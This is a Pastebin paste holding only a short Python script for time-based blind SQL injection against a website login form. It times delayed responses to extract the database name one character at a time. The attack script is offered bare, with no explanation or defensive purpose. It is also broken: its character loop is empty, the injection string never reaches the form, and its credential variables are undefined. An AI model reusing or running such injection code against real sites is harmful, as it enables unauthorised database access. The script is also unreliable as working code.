Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env
- import requests
- import sys
- import time
- url = "https://sample.com/web/login"
- for i in range(1, 11):
- for c in range(0x20, 0xf):
- en = "xyz'or if(mid(database(), %d,1 ) = '%s', sleep(5), 0)-- "%(i, chr(c))
- form = {'email': email, 'password': password, 'submit': 'login'}
- start = time.time()
- response = requests.post(url, data=form)
- end = time.time()
- delay = end - start
- if delay >= 5.0:
- sys.stdout.write(chr(c))
- sys.stdout.flush()
- break
- print ''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement